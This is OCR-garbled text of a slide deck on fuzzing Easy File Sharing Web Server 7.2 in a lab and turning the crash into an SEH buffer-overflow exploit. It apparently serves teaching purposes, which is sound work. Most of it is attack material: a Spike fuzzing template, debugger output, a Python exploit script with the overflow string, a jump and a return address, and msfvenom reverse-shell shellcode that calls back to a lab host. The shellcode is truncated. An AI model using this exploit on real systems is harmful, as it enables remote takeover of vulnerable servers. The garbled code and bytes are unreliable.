FINAINg and exploiting
O-days

(Yes, you can do this...



http://jkcybersecurity.org
mailto:jk@jkcybersecurity.com
https://github.com/clubjk

Agenada

Examine HT TP packets in Wireshark

Create a fuzzing template in Spike w 9 variables
uzzing real world apps for vulnerable parameters

-+ Use of a binary debugger

 Replicate a fuzz crash in python

- Determine the offset

onfirm El




Statement of Humility

* | am not an expert

* [hese are not stunts, but basic exploit moves

* |'m just glad to be here



Story

Fuzzing - am | doing it correctly?

EXPLOITS
DATABASE

Exploits Shellcode Papers

Google Hacking Database Submit Search

~ BT

Easy File Sharing Web Server 7.2 I'm not a robot

Date -

2017-06-15

2017-06-12

2017-06-11

2016-07-29

2015-12-16

2015-12-16

2015-11-30

V Title

Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -
Easy File Sharing Web Server 7.2 -

Easy File Sharing Web Server 7.2 -

12 total entries

Platform

'POST' Buffer Overflow (DEP Bypass)
'POST' Buffer Overflow
Authentication Bypass

(SEH) Overflow (Egghunter)

HEAD Request Buffer Overflow (SEH)
GET Request Buffer Overflow (SEH)

Remote Buffer Overflow (SEH) (DEP Bypass with ROP)

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Author

bldck h4ck3r

Touhid M.Sh...

Touhid M.Sh...
ch3rnObyl
ArminCyber

ArminCyber




Set up target VM

Windows XP

Jt[C

T
” _
SNortcut to wWin <F ¥

/Uinserver SNare

pr—f Y G e b Ay,

- ' ‘.}3, &




Set up the app in lab

@ Windows XP Professional sp3

®

n ®

Suspend Snapshots

ﬁ Internet
& E-mail
Command Promp

@,J“‘

A
Devices
&) Set Program Access and Defauks

. egghunt.exe  Shortcut to =]
KarjaSoft

setup.exe  Shortcutto  Win XP WM
Games vulnserver share

‘Windows Catalog

Windows Update

Accessories

Startup . =]y
Internet Explorer !. Ifﬁ' L)

60f3FFIF3cd .

WS ® Fehortcut SmartDisg...

849000 €29

Outlook Express

Remaote Assistance

‘Windows Media Player
Windows Messenger

Windows Movie Maker
Imenunity Inc

) Python2.7

) Aviosoft DTV Player Pro

™) BlazeOVD 6.2.0.0

(™) BlazeDVD 7.0.2.0 Professional

GewO!

mona.py SmartDiag_...

|
D
nfsaxe.exe  stdleval.exe. Recycle Bin

freessHd 7] E

OLLYDBG - Sysax Multi
Shortcut Server Ad..,

) MniShare

War FTP Daemon

SL Products

Easy File Sharing Web Server =% Easy File Sharing Web Server

77 start

<
.I.ogoff \ D Turn OFf Compute _:
1?] Uninstall Easy File Sharing Web Server

What's new

) Easy fLocation: C:\EFS Software\Easy File Sharing Web Server

Haring W,

E 9 o

Stop SSL About

80
URL: http://192,168.188,132

SSL Port: | 443

SSLURL: | https:f{192

[(JLaunch web Server at windows startup
[: Startup minimized in systemtray

[¥] Automatically activate server at startup
[V] Automatically activate ssl server at startup
[V]Enable guest to login

[V]Enable guest to register a new account
[¥] Login to virtual folder by defaul:

[¥] allow users to upload files to forums

[] pisable forums

[V] allow Files to be overwritten

[[save log to file

More Options... SMTP Setup... Templates... Service. ..

s

201467

[web Server is online] / [SSL Server is online]




Browsed to In 1t Kall

@) Kali 2b (April 2017)

Virtual Folders - powered by Easy File Sharing Web Server - Mozilla Firefox

Virtual Folders - powered... x |

- 192.168.188.132 B O 3 A

disk
Disk C on the server

disk d

Disk D on this computer

Powered by Easy He Shamg Web Sener
Copyaght © 2004 EFS Softwase Inc

O

Direct Connection




Examined in Wireshark

Wireshark - Follow TCP Stream (tcp.stream eq 6) - wireshark_eth0-.201706200.. @ @& ©

GET /vfolder.ghp HTTP/1.1

Host: 192.168.188.132

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/
20100101 Firefox/45.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/
*,0=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.188.132/

Cookie: frmUserName=; frmUserPass=;
rememberPass=202%2C197%2C208%2C215%2C201; UserID=; PassWD=;
SESSIONID=12926

Connection: keep-alive

If-Modified-Since: Tue, 20 Jun 2017 12:57:03 GMT
Cache-Control: max-age=0

HTTP/1.0 200 OK




guestget.spk

s_string("GET");

i Mocked up the GET
S request in Spike

s_string("Host: ");

oy e * 2 should crash
ey At e Rest are controls

s string variable("Mozilla/5.0 (X11; Linuxx86_64; rv:45.0) Gecko/20100101 Firefox/45.0");
s_string("\r\n");

s_string("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
s_string("\r\n");

s_string("Accept-Language: end-use=0.5");

s_string("\r\n");

s_string("Accept-Encoding: gzip, deflate");

s_string("\r\n");

s_string(“ReIferer: ");
s _string variable("http://192.168.188.132/");
s_string("\r\n");

s_string("Cookie: ");
s string variable("SESSIONID=14812");

nn

s_string(";");

5 _string_variable("");

s_string("PassWD=");

s_string_variable("");

s_string(";");

s_string("frmUserName=; frmUserPass=;");
s_string("rememberPass=202%2C197%2C208%2C215%2C201");
s_string("\r\n");

s_string("Connection: keep-alive");
s_string("If-Modified-Since: Mon, 19Jun 2017 17:36:03GMT");
s_string("\r\n");




Began to fuzz...

root@kali:~/exploitpractice/easyfs# generic send tcp 192.168.188.132 80 guestget.spk 0 @
Total Number of Strings is 681

Fuzzing

Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005




First variaple

Variablesize= 9
Fuzzing Variable 0:53
Variablesize= 65534
Fuzzing Variable 0:54
Variablesize= 32768
Fuzzing Variable 0:55
Variablesize= 32767
Fuzzing Variable 0:56
Couldn't tcp connect to target
Variablesize= 32766

tried to send to a closed socket!
Fuzzing Variable 0:57

Couldn't tcp connect to target
Variablesize= 32765

tried to send to a closed socket!
Fuzzing Variable 0:58

Couldn't tcp connect to target




8th variaple

—_ = e e

Fuzzing Varlable 6:2042
Fuzzing Variable 6:2043
~  Fuzzing Variable 7:0
' Fuzzing Variable 7:1

Variablesize= 5004

Fuzzing Variable 7:2
Variablesize= 5005

Fuzzing Variable 7:3
Variablesize= 21

Fuzzing Variable 7:4

Couldn't tcp connect to target
Variablesize= 3

tried to send to a closed socket!
Fuzzing Variable 7:5

Couldn't tcp connect to target
Variablesize= 2

tried to send to a closed socket!

»
ala - =18 = * N




| ast variable

Fuzzing Variable 8:1
Variablesize= 5004
' Fuzzing Variable 8:2 :
| Variablesize= 5005 r .
Fuzzing Variable 8:3 4 ,
Variablesize= 21
Fuzzing Variable 8:4 :
Variablesize= 3
Fuzzing Variable 8:5
Couldn't tcp connect to target
Variablesize= 2
tried to send to a closed socket!
Fuzzing Variable 8:6
Couldn't tcp connect to target
Variablesize= 7




Caught Crash in Binary Debugger

hcPkbzr.. : immunity: Consuiting Services Manager

BTrradad C172 4C 97AG29AI CMP DWORD PTR DS: LEAX+AC], ADZ3AGS7 Registers (FPU)
61C277FD 74 27 JE SHORT sqlite3.61C27326 % 41414141
61Ce7e04 906 XOR BL,BL B19EEDEG ASCII "select # from sqltable where userid='PassWiD=/.:/ARARRRAARAARRAARRAAR
£1C27886 38500 TEST EAX,EAX OBOBB80,
61027802 74 10 JE SHORT =qlite3.61C27826 Yt
6102780 C74424 B8 2254C MOU DUORD FTR (ESP+21,salite3.61C754: ASCII "unopened” 0195204c
S%ES;S}E 833333 ?gagggg [ HOU DUORD PTR EE@E;4iésqlite3.61C?S3lRSCII "API call with ¥s databa o1o2ehBs
[ WORD PTR SS:[ESP1, . R .

£1027821 E8 14D1FFFF CALL sqlite3.sqlite3._log A19550DEA RSCFI zelect # from sqltable where userid="PassliD=-. : “ARRARRARRARRARRRRARRRARAA
g%gg;ggg gggg 14 ESH Egg,%gx 61C277F6 =sqlite3.61C277F6

’ 32bit B(FFFFFFFF)
e B 32bit @(FFFFFFFF)
eleefiss B LERY 32bit @(FFFFFFFF)
e o rust cp Eir EEEeEE)
61C2782F 89ES MOU EBP,ESP T
61027831 57 PUSH EDI
elmeriis B8 Fhen B2t ERROR_FILE_NOT_FOUND (@8680662)
&£1C27234 83EC 1C SUB ESP, 1C gogiez66 (MNO,ME,NE, A, NS, FPE, GE, G)
£1C27837 2B70 88 MOU EDI.OWORD PTR SS: P
61C2783A 8B7S oC MOU ESI,DWORD PTR SS: oMbty
£1C27830 2D46 88 LER EAX.DWORD PTR DS:[ESI+&] et
61C27540 594424 04 MOU DWORD PTR SS:[ESP+4],EAX emBty
£1C27844 2D47 F8 LEA EAX,DWORD PTR DS:C[EDI-23 ot
£1C27847 2909424 MOU DWORD PTR SS:CESPI,EAX e
61C27284A8 ES 25ARB4688 CALL <JMP.&msvert.realloc? emptg
£1C2784F 899C3 MOU EEX,EAX ety
£1C27851 TEST EAY,EAX
£1C27853 JE SHORT =qlite3.61C27864 0060

A C  BGoBa0a
AAS97006 90 cees .
BESA7E1G .FFR.~(T. D0008000
BASS7026 AS ; SM-T.<.T. ARREARAE
AAS97A368 B2 T. = 41414141
ARS97E48 F3 i T.6! 31955080
BAS37A5a 00 SE. o (@, 4@ 61062860
PASI7AEA AD 5 GE061 369
@ESI7673 SO PnG. & G. «BG. & G. GEEE1393
AE5970958 90 EsH. B£H. «£H. brH. @195505C | @112B7FC
PAS3709G SQ PJI.AWI. bl.@|M.
p ) 81955066 | FFFFFFFF
PESI7ORE 10 bl M. =M. aN.ECN. #1955064 | ABRREERG
BESS7EEG O =M. .5R."5R. "oR. 91955068 | B19550A0 5106
@E5370CH SE hoR.moR.=+T. ., T. 51955D6C | AB4F9698 Ji0. RETURN to fsws.@B4F9698 from fsws.005S00640
BESI7E0E 42 B, T.iHIS. . /T.8/T. 91955070 | FFFFFFFF

PESI7OED B4 *1T.RFT.CTN.AIT.
Lagcarera 1o JRT.SSTo S 6q S, 81355074 | @BSA235E [(Z. fsws.BOSA285E

[#8:31:25]1 Access violation when reading [4141418D1 — use Shift+F?/F8/F9 to pass exception to program

-_—— - ——




Overwrote the SEH Chain with Our String

A Immunity Debugger - fsws.exe

U Debug Plugins  ImmLlib Options  Window  Help  Jobs
Log Alt+L r l emtwhocPk©bozr

Executable modules Alt+E
Memary AlE+1

o]

AX+4C], AB29A6S7

- L

Threads 3. 61027620
Windows :
Handles

O O O O

e e i e s e i e s e i s s i i e s s e s ks i s e o i i i i it [

B1CY54, ASCII "unopened™
1.61C7531 ASCII "API call with #s datab

CPU Alk+C
SEH chain Alt+5
Patches Chrl+P

il chadh . =% SEH chain of thread 000... [= |[B]X]

Breakpoints Alt+E A195E0ER | 41414141
Hardware E;real.;;;:..:.ir,t._: 11414141 ##% CORRUPT ENTRY ###

Wakches
Referert
DWORD PTF
DWORD PTF

DI OSONOYONOYCROY OO OO OO OO O

ASCII B1955034

A1 QCCn2a20
AC NC C2 GG ILET N*T NeD B1955038

o) )




Passed exception to debugger and overwrote the EIP

Registers (FFPU)

ERx BBEaaa8a8aE
ECx 41414141
EDX VYC9A3Z2BC ntdll.7C9832BC
EEX Baaaaaaa
ESF 81955954
EEF @1955924
ESI 88880665
EIF 41414141
S il - A FFFFFFFF)
F 1 CS @8lB 22bit BIFFFFFFFF)
A A S5 8823 22bit BIFFFFFFFF)
c 1 DS 86823 32bit ABIFFFFFFFF)
S B FS BA3EB 2z2bit FFFOAGEALFFF)
E ? GS 8888 MHULL
I K
0@ LastErr ERROR_FILE_HOT_FOUHMD [(B888EEEEZ)
EFL 8881624 (HO,MEB,E,BE,HS,PE,GE,LE)
STA empty
STl empty
STZ2 empty
ST3 empty
ST4 empty
STS empty
STe empty
STY empty
2218 ESPFPUDODZDI
FST G888 Cond @ B B B Err BB B @ B B A8 (GT)
5] FC9A32AS 420 RETURM to ntdll.7Co2B32AS
A 5} ol ASCII ""AARARARARAARRARAARARARARARAARARARAARARAARARAARARAARARAARAARAARRARAARAAAAAARRA
5} H19 o
%) @1 amofd Pointer to next SEH record
A195597C VC9A3Z2BC 22! SE handler
A1955938 A195cDEA om0 ASCII "AARARRARARAARARARARRAARARRARAARARAAARRAAARARARAARARARARARAAARARAARARAAAARARA
1955934 rE1955A34 47008
B1955938 | PC98327YH z2E! RETURN to ntdll.7C983227VA from ntdll.7C983282
B195593C | B1955R4C LZaG
A1955998 | B195c0ER «moB ASCII "ARRARAARRARARARARARARAARRARARARAARRARARRRARARARARAARAAARARARARARAARAARAARAAARAARA
A1955994 | B1955A52 hiod
A1955998 | B1955A26 FoA
B195599C | 41414141 AARAA
H19559[08 | 819 cJoB ASCII "select # from sqltable where userid="PasshllD=-. : “ARRAARARARARAARARAARA
@19559A4 | B1955A4C L2o® o __



Replicated the Crash String in Python

#!/usr/bin/python
import socket,os,time, sys

host="192.168.188.132"
port =80

crash="/.:/"
crash +="A"*3000

et "GET ool gha TP/ A\ crash variable

request += "Host: " + host + "\r\n"

request += "User-Agent: Mozilla/5.0 (X11; Linuxx86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.8.0" +"\r\n"

request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

request += "Accept-Language: en-US,en;q=0.5" +"\r\n"

request += "Accept-Encoding: gzip, deflate" + "\r\n"

request += "Referer: " + "http://" + host+ "/" + "\r\n"

request += "Cookie: SESSIONID=16246; User|D=PassWD="+crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"

request += "\r\n"

request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19Jun 2017 17:36:03 GMT" + "\r\n"

print "[*] Connectingto Target " + host+ "...standby..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

connect=s.connect((host, port))

print "[*] Successfully connected to " + host + "!!!"
except:

print "[!]" + host+ " didn't respond\n"

sys.exit(0)

print "[*] Sendingimproperly formed request..."
s.send(request+ "\r\n\r\n")

print "[!] Request has been sent!\n"

s.close()




On our way

root@kali:~/exploitpractice/easyfs# ./guestgeta.py
[*] Connecting to Target 192.168.188.132...standby...
~ [*] Successfully connected to 192.168.188.132!!!
| [*] Sending improperly formed request...
[!'] Request has been sent!

SE handler

41414141
##% CORRUPT ENTRY

3125cD4C IR




EIP Ownage

crash="/.:/"
crash += "A"*57
crash += "BBBB"

crash += "CCCC"
crash += "D"*400
crash += "E"*2550

2% SEH chain of thread 000... [= |[B]X]

B1sSeEvre| 42424242
41414141 | ### COREUFT ENHTEY ###

0




Return Aaddress Planning

44

SEH mode

Base

Limit

Modu le wersion

Modu le Hame

-0

~SafeSEH
~SafeSEH
~SafeSEH
“SafeSEH
~SafeSEH
“SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
Mo SEH

~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
“SafeSEH
~SafeSEH
Mo SEH

Mo SEH

“SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
Mo SEH

~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH

81 2480606

8:Ved 18666
Bx Vdf 7806
Bx Vc9chang
BxSadvBaana
B:S5eddBaang
81 ¥ c9888686
Bxe62bBaaa
Bx 62886806
8:71aS6666
8= 7 1a96666
8713386688
8= 7 1abBaas
Bx 7V 1adbang
8= V288600068
8x V5148666
8= Ye2bBana
81 Yeb4BB86a6
8: Vef 2086068
Bx VEf 60006
8= Vef baana
Bx Vef cBBaE
B8: 771266068
8= 77 1bBaaa
Bx V7 2da666
8= V7 4eBa06
Bx V79200068
Bx 77 acBa06
Bx VY 7bz2B00a
8= 7718666
Bx ¥ 7ddaans
[ P 1555
Bx V7 180666
BH??FBBBBB

=AEEG

=1 s
55 (S

=) (S
L

A1 385806

A= 7YedalBbn
Bx7dF 92060
A= 7d1d7Ba6a
BxSadacBaa
AxSede7BAEA
Bx 7 c9af Ban
Ax653820680
Hx 688358680
Bx71a8fB860
Bx 71239286660
B 71a3ac6068
Bx71acyVBan
Bx71ad2866
A= 738260680
Bx 7S 1ecBBa@
A= FESF 9088
Bx YEbedBaan
A= 7ef 47880
Bx7EFScBBn
A= 7&fb2BaaA
Bx YEfcEBBan
A:771abBaa
Bx 772528680
A= 7 74d2060
Bx7761d86a
Bx77al2666
Bx 77 bl15B866A
Bx 7 7b32860
A= 77 ce2060
Bx 7 YecbBan
A= 7720680
Bx 77590600
A= 77 FdeBan

1=
= 0
C XD

,_.,_.,_
15015015
L AxL X

8.9.8k
«1.266808.5512 (#psp.B@S868413-2185
8 (Hpsp.B888413-2183)
.88,29608,.5512 (kpsp.B@28413-218
«88,2988,.5512 (Hpsp.B20413-210
.1.2668.5512
1. 2688 S512 [HDED 98@413 2111

1.2680,5512 (spsp.@82868413-A2352
1.2688,5512 (Hpsp.B2B4123-2188
LH8,2988,5512 (#psp.B284123-216
(Hpsp.B268413-H245
(Hpsp.B8268413-21132
(Rpsp.B8284123-2113
(#psp.B8268413-21132
(Rpsp.B8268413-H852

2 (#psp.B268413-210
413-218%5)

. 26008, 551 [#psp.@588413-183
.1.260@,5512 (#psp.B8368413-2111
«131.2608.5512 (Hpsp.B2860418-21
. 1.2608,5512 (Hpsp.B88413-p852
.B.26688,.5512 (#psp.826413-F£111
«1.2608,5512 (#psp.@88413-2113
. 1.2608,.5512 (4psp.@88413-2183
«1.2608,.5512 (Kpsp.B3868413-2165
.88.2988.5512 (Hpsp. 88841 218

:~EFS Software~Easy File Sh
=WIHDOWS~swstem32~USER32.d
s SWINDOWSsswstem32~oledla.d
=WIMDOWS~swstem32~SHELL3Z.

s SWINDOWSssystem32 untheme.
t=WIMDOWS~swstem32~0LEPRO
:\wIHDOwS\system32\ntdll

s ~WIMDOWS~swstem32~WINMM. dL
=WIMDOWS~system32~0DNSAFPI. d
s~WIMDOWS~system32~WLDAFP32.
=WIMDOWS~System32~winrnr.d
s=WINDOWS~system32~rasadh lp.
=WIMDOWS~swstem32~0LEAUT32.

s WINDOWSSsystem32~SETUPARPI .
~WIMDOWS~system32~CRYPT32.
s WINDOWSSsystem32~MSASHNL. d
=WIMDOWS~system32~msvcrt .. d
s~WIMDOWS S system32~A0OVAFRI3Z2.

COOOOO0O00000000000000

-\

=WIMDOWS~system32~WINSFOOL.
s SWINDOWSSsystem32~wshbth.dl
=WIMDOWS~system32~comd lg32.

L
L
dll
L

=WIMDOWS~system32~WININET. d
s SWINDOWSSWinSHS~HB86_HMicroso
t=WIMDOWS~system32~ole32.dl L

L
dll
L
L

L
L
L
t.

:=WINDOWS ~system32~RFCRT4.dl
SWINDOWSSsystem32~GDI32.dl L
:\NIHDDMS\EyStem32\SHLMQPI dll

ing Web Server~SSLERY3Z2.dL1

L
L

Windows.Common—-Controls_6595hbs
L

Ll

a Wleb Serwve
g hleb !

g Wleb Ser

g hWeb S =

2 0
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DIl choice

4

|44 x| w11 Wi+ 3i): (| L|E|M|T|W|H|C|7|K|B|R][...

Sharing Web
of tu:xw\E sy File Sharing Web @
SoftwarenEasy File Sharing leb :ﬁ1u~r\LIBEHV 2.dll
So F as Sh aring Web Server~ImagelLoad.dll

BE348866 | BBE45600| BE3c5910| SSLERY32
B0468866| BE1C2000| BE4FCHcE | fsws
BES0EEEE| 681 176800 BEccE7SE| LIBERY32
16066060 BEESEEEE 1661AB4E8 Imageloa
SADYBEEE 380686 | SADY1626| uitheme
SEDDBEEE SEDDF1CZ2

&1CEBEEE6 26608 51001658

cE2BBEEE 5 2

65068866

7 1ASBEEE

-

~sqlite3.dll
\wIHDDl NS
~WINHDOI : Sdll
= ~WINDOI |,usocl dl!

T "o . e

=
a.
@.
6.
5.
5.
5.
5.




| ooking for ‘pop pop ret’

[@ CPU - thread 00001 F04, module Imagel oa = [B)X|

19991996 =B4424 B4 MOU EARX,DWORD PTR SS:[ESP+4]
1636 4 Pl EE bel) in current module  Cerl+n

Ctrl+F
Ctrl+5

mble - jinary ] Chrl+E
Label : ek Cerl+L

Comrment )
) Al intermodular calls
Breakpoint .
All commands
Run trace .
all sequences
Mew origin here Cerl+Gray All constants
, DWORD : Go to Al switches
) PTR 2 all ref i
Thread all referenced text strings

Follovs in Durmp )
User-defined label

Search for 4 User-defined comment



That'll work...

23C4 18 ADD ESP, A
45 IHC EST
(| 2BF@ CHMP ESI,ZRE
~7C C2 JL SHOF T Imageloa. 168612858E
| 33F& wor ESILESI
: 2EEE AP eBP,ESI
1|+~ 7E 87 JLE SHORT ImagelLoa. 168613509
2| EB5 FUSH EEBF
FF15 E4D16417% CALL DWORD PTR DS:[<%KERMHELZZ._lclosekx]| kernel32._Llclose
2925 FCALA4 (B CHMP DWORD PTR DS:[C1884A1FC]1,ESI
oy : JE SHORT Imageloa. 186135EC
SBd424 14 MOW ERX, DWORD PTE SS:[ESP+181]
.| 5@ FUSH ERX
FF15 E@016416 CALL DWORD PTR DS:[<&KERMELZ2Z.GlobalUnl{ kernel32.Globalln Lo
Al B4Az28418 MOw ERX,DWORD PTR DS:[1884R264 ]
3BCE CHMFP ERX,ESI
Hwvd @9 JE SHORT Imageloa. 1861385FE
e FUSH EAX
E2 55118664 CALL Imageloa. 18819754
2304 B84 AOD ESP, 4
2B4424 1@ MOW ERX,DOWORD PTR SS:[ESP+1&1]
FOF EDI
FOF ESI
FOF EEP
FOFP EE=
FOFP ECH
RETH
HOP
HOP
HOP
HOP
HOP
HOP
HOP
HOP
FUSH ECH
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e iy g
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Put retadd In string

Modified the crash string as follows:

crash="/../"

crash += "A"*57 PR e s P ECs
crash +="\; x86\x01\x10

crash += "CCCC" 24 B4
crash += "D"*400 4EE =TH 4 ) N
crash+="E"*2550 =i g

0L EDIL,EDI
10U ERX

1 Enter expression to follow

WEEEEEEEN [10015505 -
3 FF CF
i Cancel |

Al
RE
HCS

) FFFFE@86  CHP ECH, BFFFF

SHORT ntdll.7Co81251
FBBEE MOU ECH, BFFFF

194A B2 MOU WORD PTR DS:[EDX+21,CH

DEC ECRH
MO WORD PTR DS: [EDR],CR

File VYiew Debug Plugins ImmLib Options Window Help Jobs
o T X P b2 1 emtwhocPkbzr

FPOP EEX
POP ECH

10N

r
1 m

28 HOP

=15 NOP

28 MHOP

24 NOP

25 NOP

28 HOP

S8 HOP

28 MHOP

51 FUSH ECX
c6:A1 F2R18418 MOV AX,WORD PTR DS:[1884A1FS1]
68 PUSH EBX
55 PUSH EEF




Stepped to RET

ad OO000ES8, module Imagel.

POP EBX

18018668

18818689

1881866AR

18818668

1881866C

18818680

1081866E

1881866F

188186186 51 PUSH ECX

18818611 MOV AX,WORD PTR DS:[1884A1F2]
18818617 53 PUSH EBX

18818618 PUSH EEP

19818619 PUSH ESI

1881861AR ®OR EBX,EBX

1881861C 33F6 XOR ESI,ESI

1881261E 66:3D 6168 CHMP RX,1

18818622 57 PUSH EDI

18818623 ©FS84 F4800008 t Imageloa. 18813710

18818629 66:3D 08330 CHF_RX, 8603

10013620 BF34 EAPGARAA = Imageloa. 18618710

18818633 66:3D 8530 CHP AX, 8085

10018637 BOFS35 D7@GAAB@ .17 Imageloa. 10818714
18818630 8BeC24 24 MOU EBP,DWORD PTR
18818641 8B7C24 1C MOU EDI,DWORD PTR
18818645 8B4C24 18 MOU ECX,DWORD PTR
18818649 8D4424 13 LEA EAX,DWORD PTR SS:
18818640 €A 81 PUSH 1
1081864F PUSH _ERAX

WO H

[T

c= (FPU)
69869969
B1856AR64
YC9832BC ntdll.7C9832BC
7C90832A8 ntdll.7C9832AS
81856934
B8185699C
BaBaaRAaEAa
Baaanaaa

18818667

@ ES 8823 32bit B(FFFFFFFF)
1 CS 881B 32bit B(FFFFFFFF)
@ S5 8823 32bit B(FFFFFFFF)
1 DS 8822 32bit B(FFFFFFFF)
g FS B03B 32bit YFFDAGBAIFFF)
a
a

Imageloa. 1806818667

GS 8088 NULL

LastErr ERROR_FILE_MNOT_FOUND (88028662)
EFL @@aasz4e (MNO,NE,E,BE,NS,PE,GE,LE)

STO empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
STS empty
STE empty
ST? empty

32
Beee Cond B8 8 B 8

Address

Bas597008 e F5T.D"T.OFR.
Bes97a18 “ FR.EFR. FFR.A[T.
Bas97e28 LHT .- T “.T.
Bes97038
Bas97a4a
Bas97a5a
Bas97068
Bas97a7a .
Bas97030 EsH. BﬁH.aﬁH.PrH.
Bas59769a PJI.aWI. bI.@|M.
BasS970Ra

Bas5970Ba

Bas97aca i

Ba59780a B,T. ﬂﬂS../T 8/T.
BBS9?BEB 01T KFT. ﬁHN aIT.

a1 @1856E7@ pnab

a1 856988 B1356A20

B1385693C B1856RA38 2)

81856998 B1856E7G a8 Pointer to next SEH record
B1856994 TFC9B32BC SE handler
B1856998 ©01856E7D E

B185699C ra1856R4C &

B18569ARG | 7C98327A 21 RETURN to ntdll.7C98327A from ntdll.7Co83282
B138569A4 | B1856A64 djaB

B18569AR2 | B1856E7G

B13569AC | B1856A2A

A185696a | B1856RA38 8)

81856964 | 1868186685 Imageloa. 10813665
91856988 | 81857624 a6 ASCII "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
B18S69BC | B1856A64 diaB

B18569Ca | B1856E7A pnaB

918569C4 | 7C92A9EF nrfEl RETURN to ntdll.7C92A9EF from ntdll.?7C903247




INspected stack pointer

ER e Tk N |

Address

B1356E7VA
B1356E20
B1256E96
B1358ERA
B#1355EEA
B1256ECH
A125sEDA
B#1256EER
H1356EFA
B1356FBR
B13856F 14
B1256F 26
B1256F 20
B1256F 48
B1256F5A

|4 |4 a

-

- - =

ASCII

ARRARS A6 k. CCCODDO
DoODDDDODODDDDDDO
DOoODDDDODODDDDDOO
DooDDODDODDODDOD
LoDoDDODODDODODO
LoDDDDODODDODODO
LoDDDDODODDODODO
DoODDDDODODDODODO
LODDDDODODDDDDOO
DoODDDDODODDDDDDO
DOoODDDDODODDDODDDO
DooDDODDODDODDOD
LoDoDDODODDODODO
LoDDDDODODDODODO

DoDDDDODODDODODO




Confirmed enough space in stack
for over 400 bytes (for shellcode

Address

A135cFDA
H12856FERA
A1856FFa
A18578840
A1857816
A1857826
A1857830
A135784A
A12857E5A
A1285786A
A12357E7AE
A12857882A
A1857E94
A1857ERA
A18578EA

g

1L o

DDDDDDODDDDDDDDD
DDDDDDDDDDDDDDDD
DDDDDDODDDDDODDD
DDODDDDDDODDEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE



Added a short jJump

| replaced the last four A's of the crash string with op code that would bring down the gsp to where
some of my D's are.

Replaced the fourA's prior to the ret add to

EB 109090

So, modified the crash string as follows:

crash="/../"

crash += "A"*53

crash += "\xeh\x10\x90\x90"
crash += "\x05\x86\x01\x10'
crash += "CCCC"

crash += "D"*400

crash += "E"*2550

e ey L)CIJUg r'lug|||> FULLIIN (N} UpLIUII> PRI IJUYy FICI[J Juus
O T E X Pl b lie* 1l emtwhocPkbzr
A8 [EcPu-th

read 00001D10

=) 14

4
4
4
4
4
4
4
4
4
4
4
4
4
4

4
4
3
4
4
4
3
-
4
4
4

AKX, 91868186

B1E 1
B1856E82
B12SEE

A1856ES4
A1 8E6ESE
A1 856ES¢

£ 60 00 00 00 O O 0

7 OO
VOOV UVOOVOOOOOXKKK




Created shellcode

crash="/.:/"

crash += "A"*53

crash += "\xeh\x10\x90\x90"
crash += "\x05\x86\x01\x10"
crash += "C"*10

crash += shellcode

crash += "E"*2550

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload

Found 10 compatible encoders

Attemptingto encode payload with 1 iterations of x86/shikata.ga..nai
x86/shikata..ga. naisucceeded with size 351 (iteration=0)
x86/shikata..ga.naichosen with final size 351

Payload size: 351 bytes|

Final size of py file: 1684 bytes

buf= ""

buf += "\xbf\x1f\xcd\xa3\x04\xdh\xd 3\xd9\x74\x24\xf4\x5b\x29"
buf += "\xc9\xb1\x52\x3 1\x7b\x12\x03\x7b\x12\x83\xdc\xc9\x41"
buf += "\xf1\x1e\x39\x07\xfa\xde\xba\x68\x72\x3b\x8b\xa8\xe0"
buf += "\x48\xbc\x18\x62\x1c\x3 1\xd2\x26\xb4\xc2\x96 \xee\xbh"
buf += "\x63\x1c\xc9\xf2\x74\x0d\x29\x95 \xf6 \x4c\x7 e\x75\xc6"
buf += "\x9e\x73\x74\x0f\xc2\x7e\x24\xd8\x88 \x2 d\xd 8\x6d\xc4"
buf += "\xed\x53\x3d\xc8\x75\x80\xf6\xeb\x54\x17\x8c\xb5\x76"
buf += "\x96\x4 1\xce\x3e\x80\x86\xeb\x89\x3b\x7c\x87\x0b\xed"
buf += "\x4c\x68\xa7\xd0\x60\x9b\xb9\x15\x46\x44\xcc\x6f\xb4"
buf += "\xf9\xd7\xb4\xc6\x25\x5d\x2e\x60\xad\xc5\x8a\x90\x62"
buf += "\x93\x59\x9e\xcf\xd 7\x05\x83\xce\x34\x3e\xbf\x5b\xbh"
buf += "\x90\x49\x1f\x98\x34\x11\xfh\x8 1\x6d\xff\xaa\xbe\x6d"
buf += "\xa0\x13\x1b\xe6\x4d\x47\x16\xa5\x19\xa4\x1b\x55\xda"
buf += "\xa2\x2c\x26\xe8\x6d\x87\xa0\x40\xe5\x01\x3 7\xa6 \xdc"
